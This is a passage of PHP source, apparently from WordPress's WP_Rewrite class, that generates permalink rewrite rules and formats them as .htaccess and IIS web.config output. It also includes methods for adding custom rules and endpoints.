	public function generate_rewrite_rules( $permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true ) {
		// Build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
		$feedregex2 = '';
		foreach ( (array) $this->feeds as $feed_name ) {
			$feedregex2 .= $feed_name . '|';
		}
		$feedregex2 = '(' . trim( $feedregex2, '|' ) . ')/?$';

		/*
		 * $feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom
		 * and <permalink>/atom are both possible
		 */
		$feedregex = $this->feed_base . '/' . $feedregex2;

		// Build a regex to match the trackback and page/xx parts of URLs.
		$trackbackregex = 'trackback/?$';
		$pageregex      = $this->pagination_base . '/?([0-9]{1,})/?$';
		$commentregex   = $this->comments_pagination_base . '-([0-9]{1,})/?$';
		$embedregex     = 'embed/?$';

		// Build up an array of endpoint regexes to append => queries to append.
		if ( $endpoints ) {
			$ep_query_append = array();
			foreach ( (array) $this->endpoints as $endpoint ) {
				// Match everything after the endpoint name, but allow for nothing to appear there.
				$epmatch = $endpoint[1] . '(/(.*))?/?$';

				// This will be appended on to the rest of the query for each dir.
				$epquery                     = '&' . $endpoint[2] . '=';
				$ep_query_append[ $epmatch ] = array( $endpoint[0], $epquery );
			}
		}

		// Get everything up to the first rewrite tag.
		$front = substr( $permalink_structure, 0, strpos( $permalink_structure, '%' ) );

		// Build an array of the tags (note that said array ends up being in $tokens[0]).
		preg_match_all( '/%.+?%/', $permalink_structure, $tokens );

		$num_tokens = count( $tokens[0] );

		$index          = $this->index; // Probably 'index.php'.
		$feedindex      = $index;
		$trackbackindex = $index;
		$embedindex     = $index;

		/*
		 * Build a list from the rewritecode and queryreplace arrays, that will look something
		 * like tagname=$matches[i] where i is the current $i.
		 */
		$queries = array();
		for ( $i = 0; $i < $num_tokens; ++$i ) {
			if ( 0 < $i ) {
				$queries[ $i ] = $queries[ $i - 1 ] . '&';
			} else {
				$queries[ $i ] = '';
			}

			$query_token    = str_replace( $this->rewritecode, $this->queryreplace, $tokens[0][ $i ] ) . $this->preg_index( $i + 1 );
			$queries[ $i ] .= $query_token;
		}

		// Get the structure, minus any cruft (stuff that isn't tags) at the front.
		$structure = $permalink_structure;
		if ( '/' !== $front ) {
			$structure = str_replace( $front, '', $structure );
		}

		/*
		 * Create a list of dirs to walk over, making rewrite rules for each level
		 * so for example, a $structure of /%year%/%monthnum%/%postname% would create
		 * rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname%
		 */
		$structure = trim( $structure, '/' );
		$dirs      = $walk_dirs ? explode( '/', $structure ) : array( $structure );
		$num_dirs  = count( $dirs );

		// Strip slashes from the front of $front.
		$front = preg_replace( '|^/+|', '', $front );

		// The main workhorse loop.
		$post_rewrite = array();
		$struct       = $front;
		for ( $j = 0; $j < $num_dirs; ++$j ) {
			// Get the struct for this dir, and trim slashes off the front.
			$struct .= $dirs[ $j ] . '/'; // Accumulate. see comment near explode('/', $structure) above.
			$struct  = ltrim( $struct, '/' );

			// Replace tags with regexes.
			$match = str_replace( $this->rewritecode, $this->rewritereplace, $struct );

			// Make a list of tags, and store how many there are in $num_toks.
			$num_toks = preg_match_all( '/%.+?%/', $struct, $toks );

			// Get the 'tagname=$matches[i]'.
			$query = ( ! empty( $num_toks ) && isset( $queries[ $num_toks - 1 ] ) ) ? $queries[ $num_toks - 1 ] : '';

			// Set up $ep_mask_specific which is used to match more specific URL types.
			switch ( $dirs[ $j ] ) {
				case '%year%':
					$ep_mask_specific = EP_YEAR;
					break;
				case '%monthnum%':
					$ep_mask_specific = EP_MONTH;
					break;
				case '%day%':
					$ep_mask_specific = EP_DAY;
					break;
				default:
					$ep_mask_specific = EP_NONE;
			}

			// Create query for /page/xx.
			$pagematch = $match . $pageregex;
			$pagequery = $index . '?' . $query . '&paged=' . $this->preg_index( $num_toks + 1 );

			// Create query for /comment-page-xx.
			$commentmatch = $match . $commentregex;
			$commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index( $num_toks + 1 );

			if ( get_option( 'page_on_front' ) ) {
				// Create query for Root /comment-page-xx.
				$rootcommentmatch = $match . $commentregex;
				$rootcommentquery = $index . '?' . $query . '&page_id=' . get_option( 'page_on_front' ) . '&cpage=' . $this->preg_index( $num_toks + 1 );
			}

			// Create query for /feed/(feed|atom|rss|rss2|rdf).
			$feedmatch = $match . $feedregex;
			$feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 );

			// Create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex).
			$feedmatch2 = $match . $feedregex2;
			$feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index( $num_toks + 1 );

			// Create query and regex for embeds.
			$embedmatch = $match . $embedregex;
			$embedquery = $embedindex . '?' . $query . '&embed=true';

			// If asked to, turn the feed queries into comment feed ones.
			if ( $forcomments ) {
				$feedquery  .= '&withcomments=1';
				$feedquery2 .= '&withcomments=1';
			}

			// Start creating the array of rewrites for this dir.
			$rewrite = array();

			// ...adding on /feed/ regexes => queries.
			if ( $feed ) {
				$rewrite = array(
					$feedmatch  => $feedquery,
					$feedmatch2 => $feedquery2,
					$embedmatch => $embedquery,
				);
			}

			// ...and /page/xx ones.
			if ( $paged ) {
				$rewrite = array_merge( $rewrite, array( $pagematch => $pagequery ) );
			}

			// Only on pages with comments add ../comment-page-xx/.
			if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask ) {
				$rewrite = array_merge( $rewrite, array( $commentmatch => $commentquery ) );
			} elseif ( EP_ROOT & $ep_mask && get_option( 'page_on_front' ) ) {
				$rewrite = array_merge( $rewrite, array( $rootcommentmatch => $rootcommentquery ) );
			}

			// Do endpoints.
			if ( $endpoints ) {
				foreach ( (array) $ep_query_append as $regex => $ep ) {
					// Add the endpoints on if the mask fits.
					if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific ) {
						$rewrite[ $match . $regex ] = $index . '?' . $query . $ep[1] . $this->preg_index( $num_toks + 2 );
					}
				}
			}

			// If we've got some tags in this dir.
			if ( $num_toks ) {
				$post = false;
				$page = false;

				/*
				 * Check to see if this dir is permalink-level: i.e. the structure specifies an
				 * individual post. Do this by checking it contains at least one of 1) post name,
				 * 2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
				 * minute all present). Set these flags now as we need them for the endpoints.
				 */
				if ( str_contains( $struct, '%postname%' )
					|| str_contains( $struct, '%post_id%' )
					|| str_contains( $struct, '%pagename%' )
					|| ( str_contains( $struct, '%year%' )
						&& str_contains( $struct, '%monthnum%' )
						&& str_contains( $struct, '%day%' )
						&& str_contains( $struct, '%hour%' )
						&& str_contains( $struct, '%minute%' )
						&& str_contains( $struct, '%second%' ) )
				) {
					$post = true;
					if ( str_contains( $struct, '%pagename%' ) ) {
						$page = true;
					}
				}

				if ( ! $post ) {
					// For custom post types, we need to add on endpoints as well.
					foreach ( get_post_types( array( '_builtin' => false ) ) as $ptype ) {
						if ( str_contains( $struct, "%$ptype%" ) ) {
							$post = true;

							// This is for page style attachment URLs.
							$page = is_post_type_hierarchical( $ptype );
							break;
						}
					}
				}

				// If creating rules for a permalink, do all the endpoints like attachments etc.
				if ( $post ) {
					// Create query and regex for trackback.
					$trackbackmatch = $match . $trackbackregex;
					$trackbackquery = $trackbackindex . '?' . $query . '&tb=1';

					// Create query and regex for embeds.
					$embedmatch = $match . $embedregex;
					$embedquery = $embedindex . '?' . $query . '&embed=true';

					// Trim slashes from the end of the regex for this dir.
					$match = rtrim( $match, '/' );

					// Get rid of brackets.
					$submatchbase = str_replace( array( '(', ')' ), '', $match );

					// Add a rule for at attachments, which take the form of <permalink>/some-text.
					$sub1 = $submatchbase . '/([^/]+)/';

					// Add trackback regex <permalink>/trackback/...
					$sub1tb = $sub1 . $trackbackregex;

					// And <permalink>/feed/(atom|...)
					$sub1feed = $sub1 . $feedregex;

					// And <permalink>/(feed|atom...)
					$sub1feed2 = $sub1 . $feedregex2;

					// And <permalink>/comment-page-xx
					$sub1comment = $sub1 . $commentregex;

					// And <permalink>/embed/...
					$sub1embed = $sub1 . $embedregex;

					/*
					 * Add another rule to match attachments in the explicit form:
					 * <permalink>/attachment/some-text
					 */
					$sub2 = $submatchbase . '/attachment/([^/]+)/';

					// And add trackbacks <permalink>/attachment/trackback.
					$sub2tb = $sub2 . $trackbackregex;

					// Feeds, <permalink>/attachment/feed/(atom|...)
					$sub2feed = $sub2 . $feedregex;

					// And feeds again on to this <permalink>/attachment/(feed|atom...)
					$sub2feed2 = $sub2 . $feedregex2;

					// And <permalink>/comment-page-xx
					$sub2comment = $sub2 . $commentregex;

					// And <permalink>/embed/...
					$sub2embed = $sub2 . $embedregex;

					// Create queries for these extra tag-ons we've just dealt with.
					$subquery        = $index . '?attachment=' . $this->preg_index( 1 );
					$subtbquery      = $subquery . '&tb=1';
					$subfeedquery    = $subquery . '&feed=' . $this->preg_index( 2 );
					$subcommentquery = $subquery . '&cpage=' . $this->preg_index( 2 );
					$subembedquery   = $subquery . '&embed=true';

					// Do endpoints for attachments.
					if ( ! empty( $endpoints ) ) {
						foreach ( (array) $ep_query_append as $regex => $ep ) {
							if ( $ep[0] & EP_ATTACHMENT ) {
								$rewrite[ $sub1 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 );
								$rewrite[ $sub2 . $regex ] = $subquery . $ep[1] . $this->preg_index( 3 );
							}
						}
					}

					/*
					 * Now we've finished with endpoints, finish off the $sub1 and $sub2 matches
					 * add a ? as we don't have to match that last slash, and finally a $ so we
					 * match to the end of the URL
					 */
					$sub1 .= '?$';
					$sub2 .= '?$';

					/*
					 * Post pagination, e.g. <permalink>/2/
					 * Previously: '(/[0-9]+)?/?$', which produced '/2' for page.
					 * When cast to int, returned 0.
					 */
					$match = $match . '(?:/([0-9]+))?/?$';
					$query = $index . '?' . $query . '&page=' . $this->preg_index( $num_toks + 1 );

					// Not matching a permalink so this is a lot simpler.
				} else {
					// Close the match and finalize the query.
					$match .= '?$';
					$query  = $index . '?' . $query;
				}

				/*
				 * Create the final array for this dir by joining the $rewrite array (which currently
				 * only contains rules/queries for trackback, pages etc) to the main regex/query for
				 * this dir
				 */
				$rewrite = array_merge( $rewrite, array( $match => $query ) );

				// If we're matching a permalink, add those extras (attachments etc) on.
				if ( $post ) {
					// Add trackback.
					$rewrite = array_merge( array( $trackbackmatch => $trackbackquery ), $rewrite );

					// Add embed.
					$rewrite = array_merge( array( $embedmatch => $embedquery ), $rewrite );

					// Add regexes/queries for attachments, attachment trackbacks and so on.
					if ( ! $page ) {
						// Require <permalink>/attachment/stuff form for pages because of confusion with subpages.
						$rewrite = array_merge(
							$rewrite,
							array(
								$sub1        => $subquery,
								$sub1tb      => $subtbquery,
								$sub1feed    => $subfeedquery,
								$sub1feed2   => $subfeedquery,
								$sub1comment => $subcommentquery,
								$sub1embed   => $subembedquery,
							)
						);
					}

					$rewrite = array_merge(
						array(
							$sub2        => $subquery,
							$sub2tb      => $subtbquery,
							$sub2feed    => $subfeedquery,
							$sub2feed2   => $subfeedquery,
							$sub2comment => $subcommentquery,
							$sub2embed   => $subembedquery,
						),
						$rewrite
					);
				}
			}
			// Add the rules for this dir to the accumulating $post_rewrite.
			$post_rewrite = array_merge( $rewrite, $post_rewrite );
		}

		// The finished rules. phew!
		return $post_rewrite;
	}

	/**
	 * Generates rewrite rules with permalink structure and walking directory only.
	 *
	 * Shorten version of WP_Rewrite::generate_rewrite_rules() that allows for shorter
	 * list of parameters. See the method for longer description of what generating
	 * rewrite rules does.
	 *
	 * @since 1.5.0
	 *
	 * @see WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
	 *
	 * @param string $permalink_structure The permalink structure to generate rules.
	 * @param bool   $walk_dirs           Optional. Whether to create list of directories to walk over.
	 *                                    Default false.
	 * @return array An array of rewrite rules keyed by their regex pattern.
	 */
	public function generate_rewrite_rule( $permalink_structure, $walk_dirs = false ) {
		return $this->generate_rewrite_rules( $permalink_structure, EP_NONE, false, false, false, $walk_dirs );
	}

	/**
	 * Constructs rewrite matches and queries from permalink structure.
	 *
	 * Runs the action {@see 'generate_rewrite_rules'} with the parameter that is an
	 * reference to the current WP_Rewrite instance to further manipulate the
	 * permalink structures and rewrite rules. Runs the {@see 'rewrite_rules_array'}
	 * filter on the full rewrite rule array.
	 *
	 * There are two ways to manipulate the rewrite rules, one by hooking into
	 * the {@see 'generate_rewrite_rules'} action and gaining full control of the
	 * object or just manipulating the rewrite rule array before it is passed
	 * from the function.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] An associative array of matches and queries.
	 */
	public function rewrite_rules() {
		$rewrite = array();

		if ( empty( $this->permalink_structure ) ) {
			return $rewrite;
		}

		// robots.txt -- only if installed at the root.
		$home_path      = parse_url( home_url() );
		$robots_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array();

		// favicon.ico -- only if installed at the root.
		$favicon_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'favicon\.ico$' => $this->index . '?favicon=1' ) : array();

		// sitemap.xml -- only if installed at the root.
		$sitemap_rewrite = ( empty( $home_path['path'] ) || '/' === $home_path['path'] ) ? array( 'sitemap\.xml' => $this->index . '?sitemap=index' ) : array();

		// Old feed and service files.
		$deprecated_files = array(
			'.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old',
			'.*wp-app\.php(/.*)?$' => $this->index . '?error=403',
		);

		// Registration rules.
		$registration_pages = array();
		if ( is_multisite() && is_main_site() ) {
			$registration_pages['.*wp-signup.php$']   = $this->index . '?signup=true';
			$registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true';
		}

		// Deprecated.
		$registration_pages['.*wp-register.php$'] = $this->index . '?register=true';

		// Post rewrite rules.
		$post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK );

		/**
		 * Filters rewrite rules used for "post" archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $post_rewrite Array of rewrite rules for posts, keyed by their regex pattern.
		 */
		$post_rewrite = apply_filters( 'post_rewrite_rules', $post_rewrite );

		// Date rewrite rules.
		$date_rewrite = $this->generate_rewrite_rules( $this->get_date_permastruct(), EP_DATE );

		/**
		 * Filters rewrite rules used for date archives.
		 *
		 * Likely date archives would include `/yyyy/`, `/yyyy/mm/`, and `/yyyy/mm/dd/`.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $date_rewrite Array of rewrite rules for date archives, keyed by their regex pattern.
		 */
		$date_rewrite = apply_filters( 'date_rewrite_rules', $date_rewrite );

		// Root-level rewrite rules.
		$root_rewrite = $this->generate_rewrite_rules( $this->root . '/', EP_ROOT );

		/**
		 * Filters rewrite rules used for root-level archives.
		 *
		 * Likely root-level archives would include pagination rules for the homepage
		 * as well as site-wide post feeds (e.g. `/feed/`, and `/feed/atom/`).
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $root_rewrite Array of root-level rewrite rules, keyed by their regex pattern.
		 */
		$root_rewrite = apply_filters( 'root_rewrite_rules', $root_rewrite );

		// Comments rewrite rules.
		$comments_rewrite = $this->generate_rewrite_rules( $this->root . $this->comments_base, EP_COMMENTS, false, true, true, false );

		/**
		 * Filters rewrite rules used for comment feed archives.
		 *
		 * Likely comments feed archives include `/comments/feed/` and `/comments/feed/atom/`.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $comments_rewrite Array of rewrite rules for the site-wide comments feeds, keyed by their regex pattern.
		 */
		$comments_rewrite = apply_filters( 'comments_rewrite_rules', $comments_rewrite );

		// Search rewrite rules.
		$search_structure = $this->get_search_permastruct();
		$search_rewrite   = $this->generate_rewrite_rules( $search_structure, EP_SEARCH );

		/**
		 * Filters rewrite rules used for search archives.
		 *
		 * Likely search-related archives include `/search/search+query/` as well as
		 * pagination and feed paths for a search.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $search_rewrite Array of rewrite rules for search queries, keyed by their regex pattern.
		 */
		$search_rewrite = apply_filters( 'search_rewrite_rules', $search_rewrite );

		// Author rewrite rules.
		$author_rewrite = $this->generate_rewrite_rules( $this->get_author_permastruct(), EP_AUTHORS );

		/**
		 * Filters rewrite rules used for author archives.
		 *
		 * Likely author archives would include `/author/author-name/`, as well as
		 * pagination and feed paths for author archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $author_rewrite Array of rewrite rules for author archives, keyed by their regex pattern.
		 */
		$author_rewrite = apply_filters( 'author_rewrite_rules', $author_rewrite );

		// Pages rewrite rules.
		$page_rewrite = $this->page_rewrite_rules();

		/**
		 * Filters rewrite rules used for "page" post type archives.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $page_rewrite Array of rewrite rules for the "page" post type, keyed by their regex pattern.
		 */
		$page_rewrite = apply_filters( 'page_rewrite_rules', $page_rewrite );

		// Extra permastructs.
		foreach ( $this->extra_permastructs as $permastructname => $struct ) {
			if ( is_array( $struct ) ) {
				if ( count( $struct ) === 2 ) {
					$rules = $this->generate_rewrite_rules( $struct[0], $struct[1] );
				} else {
					$rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] );
				}
			} else {
				$rules = $this->generate_rewrite_rules( $struct );
			}

			/**
			 * Filters rewrite rules used for individual permastructs.
			 *
			 * The dynamic portion of the hook name, `$permastructname`, refers
			 * to the name of the registered permastruct.
			 *
			 * Possible hook names include:
			 *
			 *  - `category_rewrite_rules`
			 *  - `post_format_rewrite_rules`
			 *  - `post_tag_rewrite_rules`
			 *
			 * @since 3.1.0
			 *
			 * @param string[] $rules Array of rewrite rules generated for the current permastruct, keyed by their regex pattern.
			 */
			$rules = apply_filters( "{$permastructname}_rewrite_rules", $rules );

			if ( 'post_tag' === $permastructname ) {

				/**
				 * Filters rewrite rules used specifically for Tags.
				 *
				 * @since 2.3.0
				 * @deprecated 3.1.0 Use {@see 'post_tag_rewrite_rules'} instead.
				 *
				 * @param string[] $rules Array of rewrite rules generated for tags, keyed by their regex pattern.
				 */
				$rules = apply_filters_deprecated( 'tag_rewrite_rules', array( $rules ), '3.1.0', 'post_tag_rewrite_rules' );
			}

			$this->extra_rules_top = array_merge( $this->extra_rules_top, $rules );
		}

		// Put them together.
		if ( $this->use_verbose_page_rules ) {
			$this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules );
		} else {
			$this->rules = array_merge( $this->extra_rules_top, $robots_rewrite, $favicon_rewrite, $sitemap_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules );
		}

		/**
		 * Fires after the rewrite rules are generated.
		 *
		 * @since 1.5.0
		 *
		 * @param WP_Rewrite $wp_rewrite Current WP_Rewrite instance (passed by reference).
		 */
		do_action_ref_array( 'generate_rewrite_rules', array( &$this ) );

		/**
		 * Filters the full set of generated rewrite rules.
		 *
		 * @since 1.5.0
		 *
		 * @param string[] $rules The compiled array of rewrite rules, keyed by their regex pattern.
		 */
		$this->rules = apply_filters( 'rewrite_rules_array', $this->rules );

		return $this->rules;
	}

	/**
	 * Retrieves the rewrite rules.
	 *
	 * The difference between this method and WP_Rewrite::rewrite_rules() is that
	 * this method stores the rewrite rules in the 'rewrite_rules' option and retrieves
	 * it. This prevents having to process all of the permalinks to get the rewrite rules
	 * in the form of caching.
	 *
	 * @since 1.5.0
	 *
	 * @return string[] Array of rewrite rules keyed by their regex pattern.
	 */
	public function wp_rewrite_rules() {
		$this->rules = get_option( 'rewrite_rules' );
		if ( empty( $this->rules ) ) {
			$this->refresh_rewrite_rules();
		}

		return $this->rules;
	}

	/**
	 * Refreshes the rewrite rules, saving the fresh value to the database.
	 *
	 * If the {@see 'wp_loaded'} action has not occurred yet, will postpone saving to the database.
	 *
	 * @since 6.4.0
	 */
	private function refresh_rewrite_rules() {
		$this->rules   = '';
		$this->matches = 'matches';

		$this->rewrite_rules();

		if ( ! did_action( 'wp_loaded' ) ) {
			/*
			 * It is not safe to save the results right now, as the rules may be partial.
			 * Need to give all rules the chance to register.
			 */
			add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
		} else {
			update_option( 'rewrite_rules', $this->rules );
		}
	}

	/**
	 * Retrieves mod_rewrite-formatted rewrite rules to write to .htaccess.
	 *
	 * Does not actually write to the .htaccess file, but creates the rules for
	 * the process that will.
	 *
	 * Will add the non_wp_rules property rules to the .htaccess file before
	 * the WordPress rewrite rules one.
	 *
	 * @since 1.5.0
	 *
	 * @return string
	 */
	public function mod_rewrite_rules() {
		if ( ! $this->using_permalinks() ) {
			return '';
		}

		$site_root = parse_url( site_url() );
		if ( isset( $site_root['path'] ) ) {
			$site_root = trailingslashit( $site_root['path'] );
		}

		$home_root = parse_url( home_url() );
		if ( isset( $home_root['path'] ) ) {
			$home_root = trailingslashit( $home_root['path'] );
		} else {
			$home_root = '/';
		}

		$rules  = "<IfModule mod_rewrite.c>\n";
		$rules .= "RewriteEngine On\n";
		$rules .= "RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\n";
		$rules .= "RewriteBase $home_root\n";

		// Prevent -f checks on index.php.
		$rules .= "RewriteRule ^index\.php$ - [L]\n";

		// Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all).
		foreach ( (array) $this->non_wp_rules as $match => $query ) {
			// Apache 1.3 does not support the reluctant (non-greedy) modifier.
			$match = str_replace( '.+?', '.+', $match );

			$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
		}

		if ( $this->use_verbose_rules ) {
			$this->matches = '';
			$rewrite       = $this->rewrite_rules();
			$num_rules     = count( $rewrite );
			$rules        .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" .
				"RewriteCond %{REQUEST_FILENAME} -d\n" .
				"RewriteRule ^.*$ - [S=$num_rules]\n";

			foreach ( (array) $rewrite as $match => $query ) {
				// Apache 1.3 does not support the reluctant (non-greedy) modifier.
				$match = str_replace( '.+?', '.+', $match );

				if ( str_contains( $query, $this->index ) ) {
					$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
				} else {
					$rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n";
				}
			}
		} else {
			$rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
				"RewriteCond %{REQUEST_FILENAME} !-d\n" .
				"RewriteRule . {$home_root}{$this->index} [L]\n";
		}

		$rules .= "</IfModule>\n";

		/**
		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
		 *
		 * @since 1.5.0
		 *
		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
		 */
		$rules = apply_filters( 'mod_rewrite_rules', $rules );

		/**
		 * Filters the list of rewrite rules formatted for output to an .htaccess file.
		 *
		 * @since 1.5.0
		 * @deprecated 1.5.0 Use the {@see 'mod_rewrite_rules'} filter instead.
		 *
		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
		 */
		return apply_filters_deprecated( 'rewrite_rules', array( $rules ), '1.5.0', 'mod_rewrite_rules' );
	}

	/**
	 * Retrieves IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
	 *
	 * Does not actually write to the web.config file, but creates the rules for
	 * the process that will.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $add_parent_tags Optional. Whether to add parent tags to the rewrite rule sets.
	 *                              Default false.
	 * @return string IIS7 URL rewrite rule sets.
	 */
	public function iis7_url_rewrite_rules( $add_parent_tags = false ) {
		if ( ! $this->using_permalinks() ) {
			return '';
		}
		$rules = '';
		if ( $add_parent_tags ) {
			$rules .= '<configuration>
	<system.webServer>
		<rewrite>
			<rules>';
		}

		$rules .= '
			<rule name="WordPress: ' . esc_attr( home_url() ) . '" patternSyntax="Wildcard">
				<match url="*" />
					<conditions>
						<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
						<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
					</conditions>
				<action type="Rewrite" url="index.php" />
			</rule>';

		if ( $add_parent_tags ) {
			$rules .= '
			</rules>
		</rewrite>
	</system.webServer>
</configuration>';
		}

		/**
		 * Filters the list of rewrite rules formatted for output to a web.config.
		 *
		 * @since 2.8.0
		 *
		 * @param string $rules Rewrite rules formatted for IIS web.config.
		 */
		return apply_filters( 'iis7_url_rewrite_rules', $rules );
	}

	/**
	 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
	 *
	 * Any value in the $after parameter that isn't 'bottom' will result in the rule
	 * being placed at the top of the rewrite rules.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Array support was added to the `$query` parameter.
	 *
	 * @param string       $regex Regular expression to match request against.
	 * @param string|array $query The corresponding query vars for this rewrite rule.
	 * @param string       $after Optional. Priority of the new rule. Accepts 'top'
	 *                            or 'bottom'. Default 'bottom'.
	 */
	public function add_rule( $regex, $query, $after = 'bottom' ) {
		if ( is_array( $query ) ) {
			$external = false;
			$query    = add_query_arg( $query, 'index.php' );
		} else {
			$index = ! str_contains( $query, '?' ) ? strlen( $query ) : strpos( $query, '?' );
			$front = substr( $query, 0, $index );

			$external = $front !== $this->index;
		}

		// "external" = it doesn't correspond to index.php.
		if ( $external ) {
			$this->add_external_rule( $regex, $query );
		} else {
			if ( 'bottom' === $after ) {
				$this->extra_rules = array_merge( $this->extra_rules, array( $regex => $query ) );
			} else {
				$this->extra_rules_top = array_merge( $this->extra_rules_top, array( $regex => $query ) );
			}
		}
	}

	/**
	 * Adds a rewrite rule that doesn't correspond to index.php.
	 *
	 * @since 2.1.0
	 *
	 * @param string $regex Regular expression to match request against.
	 * @param string $query The corresponding query vars for this rewrite rule.
	 */
	public function add_external_rule( $regex, $query ) {
		$this->non_wp_rules[ $regex ] = $query;
	}

	/**
	 * Adds an endpoint, like /trackback/.
	 *
	 * @since 2.1.0
	 * @since 3.9.0 $query_var parameter added.
	 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
	 *
	 * @see add_rewrite_endpoint() for full documentation.
	 * @global WP $wp Current WordPress environment instance.
	 *
	 * @param string      $name      Name of the endpoint.
	 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
	 *                               Accepts a mask of:
	 *                               - `EP_ALL`
	 *                               - `EP_NONE`
	 *                               - `EP_ALL_ARCHIVES`
	 *                               - `EP_ATTACHMENT`
	 *                               - `EP_AUTHORS`
	 *                               - `EP_CATEGORIES`
	 *                               - `EP_COMMENTS`
	 *                               - `EP_DATE`
	 *                               - `EP_DAY`
	 *                               - `EP_MONTH`
	 *                               - `EP_PAGES`
	 *                               - `EP_PERMALINK`
	 *                               - `EP_ROOT`
	 *                               - `EP_SEARCH`
	 *                               - `EP_TAGS`
	 *                               - `EP_YEAR`
	 * @param string|bool $query_var Optional. Name of the corresponding query variable. Pass `false` to
	 *                               skip registering a query_var for this endpoint. Defaults to the
	 *                               value of `$name`.
	 */
	public function add_endpoint( $name, $places, $query_var = true ) {
		global $wp;

		// For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
		if ( true === $query_var || null === $query_var ) {
			$query_var = $name;
		}
		$this->endpoints[] = array( $places, $name, $query_var );

		if ( $query_var ) {
			$wp->add_query_var( $query_var );
		}
	}

	/**
	 * Adds a new permalink structure.
	 *
	 * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules;
	 * it is an easy way of expressing a set of regular expressions that rewrite to a set of
	 * query strings. The new permastruct is added to the WP_Rewrite::$extra_permastructs array.
	 *
	 * When the rewrite rules are built by WP_Rewrite::rewrite_rules(), all of these extra
	 * permastructs are passed to WP_Rewrite::generate_rewrite_rules() which transforms them
	 * into the regular expressions that many love to hate.
	 *
	 * The `$args` parameter gives you control over how WP_Rewrite::generate_rewrite_rules()
	 * works on the new permastruct.
	 *
	 * @since 2.5.0
	 *
	 * @param string $name   Name for permalink structure.
	 * @param string $struct Permalink structure (e.g. category/%category%)
	 * @param array  $args   {
	 *     Optional. Arguments for building rewrite rules based on the permalink structure.
	 *     Default empty array.
	 *
	 *     @type bool $with_front  Whether the structure should be prepended with `WP_Rewrite::$front`.
	 *                             Default true.
	 *     @type int  $ep_mask     The endpoint mask defining which endpoints are added to the structure.
	 *                             Accepts a mask of:
	 *                             - `EP_ALL`
	 *                             - `EP_NONE`
	 *                             - `EP_ALL_ARCHIVES`
	 *                             - `EP_ATTACHMENT`
	 *                             - `EP_AUTHORS`
	 *                             - `EP_CATEGORIES`
	 *                             - `EP_COMMENTS`
	 *                             - `EP_DATE`
	 *                             - `EP_DAY`
	 *                             - `EP_MONTH`
	 *                             - `EP_PAGES`
	 *                             - `EP_PERMALINK`
	 *                             - `EP_ROOT`
	 *                             - `EP_SEARCH`
	 *                             - `EP_TAGS`
	 *                             - `EP_YEAR`
	 *                             Default `EP_NONE`.
	 *     @type bool $paged       Whether archive pagination rules should be added for the structure.
	 *                             Default true.
	 *     @type bool $feed        Whether feed rewrite rules should be added for the structure. Default true.
	 *     @type bool $forcomments Whether the feed rules should be a query for a comments feed. Default false.
	 *     @type bool $walk_dirs   Whether the 'directories' making up the structure should be walked over
	 *                             and rewrite rules built for each in-turn. Default true.
	 *     @type bool $endpoints   Whether endpoints should be applied to the generated rules. Default true.
	 * }
	 */
	public function add_permastruct( $name, $struct, $args = array() ) {
